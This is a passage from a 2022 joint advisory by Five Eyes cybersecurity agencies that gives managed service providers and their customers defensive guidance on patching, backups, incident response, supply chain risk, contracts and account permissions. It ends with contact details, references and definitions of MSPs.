Organizations should update software, including operating systems, applications, and firmware. Prioritize applying security updates to software containing known exploited vulnerabilities. Note: organizations should prioritize patching vulnerabilities included in CISA’s catalogue of known exploited vulnerabilities (KEV) as opposed to only those with high Common Vulnerability Scoring System (CVSS) scores that have not been exploited and may never be exploited.[16],[17],[18],[19]

  • MSPs should implement updates on internal networks as quickly as possible.
  • Customers should ensure that they understand their MSP’s policy on software updates and request that comprehensive and timely updates are delivered as an ongoing service.

Backup systems and data. 

Organizations should regularly update and test backups—including “gold images” of critical systems in the event these need to be rebuilt (Note: organizations should base the frequency of backups on their recovery point objective [20]). Store backups separately and isolate them from network connections that could enable the spread of ransomware; many ransomware variants attempt to find and encrypt/delete accessible backups. Isolating backups enables restoration of systems/data to their previous state should they be encrypted with ransomware. Note: best practices include storing backups separately, such as on external media.[21],[22],[23

  • MSPs should regularly backup internal data as well as customer data (where contractually appropriate) and maintain offline backups encrypted with separate, offline encryption keys. Providers should encourage customers to create secure, offsite backups and exercise recovery capabilities.
  • Customers should ensure that their contractual arrangements include backup services that meet their resilience and disaster recovery requirements. Specifically, customers should require their MSP to implement a backup solution that automatically and continuously backs up critical data and system configurations and store backups in an easily retrievable location, e.g., a cloud-based solution or a location that is air-gapped from the organizational network.

Develop and exercise incident response and recovery plans. 

Incident response and recovery plans should include roles and responsibilities for all organizational stakeholders, including executives, technical leads, and procurement officers. Organizations should maintain up-to-date hard copies of plans to ensure responders can access them should the network be inaccessible (e.g., due to a ransomware attack).[24]

  • MSPs should develop and regularly exercise internal incident response and recovery plans and encourage customers to do the same.
  • Customers should ensure that their contractual arrangements include incident response and recovery plans that meet their resilience and disaster recovery requirements. Customers should ensure these plans are tested at regular intervals.

Understand and proactively manage supply chain risk. 

All organizations should proactively manage ICT supply chain risk across security, legal, and procurement groups, using risk assessments to identify and prioritize the allocation of resources.[25],[26]

  • MSPs should understand their own supply chain risk and manage the cascading risks it poses to customers.
  • Customers should understand the supply chain risk associated with their MSP, including risk associated with third-party vendors or subcontractors. Customers should also set clear network security expectations with their MSPs and understand the access their MSP has to their network and the data it houses. Each customer should ensure their contractual arrangements meet their specific security requirements and that their contract specifies whether the MSP or the customer owns specific responsibilities, such as hardening, detection, and incident response.[27]

Promote transparency. 

Both MSPs and their customers will benefit from contractual arrangements that clearly define responsibilities. 

  • MSPs, when negotiating the terms of a contract with their customer, should provide clear explanations of the services the customer is purchasing, services the customer is not purchasing, and all contingencies for incident response and recovery.
  • Customers should ensure that they have a thorough understanding of the security services their MSP is providing via the contractual arrangement and address any security requirements that fall outside the scope of the contract. Note: contracts should detail how and when MSPs notify the customer of an incident affecting the customer’s environment.

Manage account authentication and authorization. 

All organizations should adhere to best practices for password and permission management. [28],[29],[30] Organizations should review logs for unexplained failed authentication attempts—failed authentication attempts directly following an account password change could indicate that the account had been compromised. Note: network defenders can proactively search for such « intrusion canaries » by reviewing logs after performing password changes—using off-network communications to inform users of the changes—across all sensitive accounts. (See the ACSC publication, Windows Event Logging and Forwarding as well as Microsoft’s documentation, 4625(F): An account failed to log on, for additional guidance.) 

  • MSPs should verify that the customer restricts MSP account access to systems managed by the MSP.
  • Customers should ensure MSP accounts are not assigned to internal administrator groups; instead, restrict MSP accounts to systems managed by the MSP. Grant access and administrative permissions on a need-to-know basis, using the principle of least privilege. Verify, via audits, that MSP accounts are being used for appropriate purposes and activities, and that these accounts are disabled when not actively being used. 

Purpose

This advisory was developed by UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities in furtherance their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

Acknowledgements

The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities would like to thank Secureworks for their contributions to this CSA.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. NCSC-UK, ACSC, CCCS, NCSC-NZ, CISA, NSA, and FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favouring.

Contact Information

United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. Australian organizations: visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca. New Zealand organizations: report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. U.S. organizations: all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Resources

In addition to the guidance referenced above, see the following resources:

References

[1] State of the Market: The New Threat Landscape, Pushing MSP security to the next level (N-able) 
[2] Global targeting of enterprises via managed service providers (NCSC-UK)
[3] Guidance for MSPs and Small- and Mid-sized Businesses (CISA)
[4] Kaseya Ransomware Attack: Guidance for Affected MSPs and their Customers (CISA) 
[5] APTs Targeting IT Service Provider Customers (CISA)
[6] MSP Investigation Report (ACSC)
[7] How to Manage Your Security When Engaging a Managed Service Provider
[8] Supply Chain Cyber Security: In Safe Hands (NCSC-NZ)
[9] Multi-factor authentication for online services (NCSC-UK)
[10] Zero trust architecture design principles: MFA (NCSC-UK)
[11] Joint CISA-FBI CSA: Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default MFA Protocols and “PrintNightmare” Vulnerability
[12] Security architecture anti-patterns (NCSC-UK)
[13] Preventing Lateral Movement (NCSC-UK)
[14] Preventing Lateral Movement: Apply the principle of least privilege (NCSC-UK)
[15] Device Security Guidance: Obsolete products (NCSC-UK)
[16] Known Exploited Vulnerabilities Catalog (CISA)
[17] The problems with patching (NCSC-UK)
[18] Security principles for cross domain solutions: Patching (NCSC-UK)
[19] Joint CSA: 2021 Top Routinely Exploited Vulnerabilities
[20] Protecting Data from Ransomware and Other Data Loss Events: A Guide for Managed Service Providers to Conduct, Maintain, and Test Backup Files (NIST)
[21] Stop Ransomware website (CISA)
[22] Offline backups in an online world (NCSC-UK)
[23] Mitigating malware and ransomware attacks (NCSC-UK)
[24] Effective steps to cyber exercise creation (NCSC-UK)
[25] Supply chain security guidance (NCSC-UK)
[26] ICT Supply Chain Resource Library (CISA)
[27] Risk Considerations for Managed Service Provider Customers (CISA)
[28] Device Security Guidance: Enterprise authentication policy (NCSC-UK)
[29] Preventing Lateral Movement: Apply the principle of least privilege (NCSC-UK)
[30] Implementing Strong Authentication (CISA)

Appendix

This advisory’s definition of MSPs aligns with the following definitions.

The definition of MSP from Gartner’s Information Technology Glossary—which is also referenced by NIST in Improving Cybersecurity of Managed Service Providers—is:

A managed service provider (MSP) delivers services, such as network, application, infrastructure and security, via ongoing and regular support and active administration on customers’ premises, in their MSP’s data center (hosting), or in a third-party data center.

MSPs may deliver their own native services in conjunction with other providers’ services (for example, a security MSP providing sys admin on top of a third-party cloud IaaS). Pure-play MSPs focus on one vendor or technology, usually their own core offerings. Many MSPs include services from other types of providers. The term MSP traditionally was applied to infrastructure or device-centric types of services but has expanded to include any continuous, regular management, maintenance and support.

The United Kingdom’s Department of Digital, Culture, Media, and Sport (DCMS) recently published the following definition of MSP, which includes examples: 

Managed Service Provider – A supplier that delivers a portfolio of IT services to business customers via ongoing support and active administration, all of which are typically underpinned by a Service Level Agreement. A Managed Service Provider may provide their own Managed Services or offer their own services in conjunction with other IT providers’ services. The Managed Services might include:

  • Cloud computing services (resale of cloud services, or an in-house public and private cloud services, built and provided by the Managed Service Providers)
  • Workplace services
  • Managed Network
  • Consulting
  • Security services
  • Outsourcing
  • Service Integration and Management
  • Software Resale
  • Software Engineering
  • Analytics and Artificial Intelligence (AI)
  • Business Continuity and Disaster Recovery services

The Managed Services might be delivered from customer premises, from customer data centres, from Managed Service Providers’ own data centres or from 3rd party facilities (co-location facilities, public cloud data centres or network Points of Presence (PoPs)).

Revisions

  • May 11, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov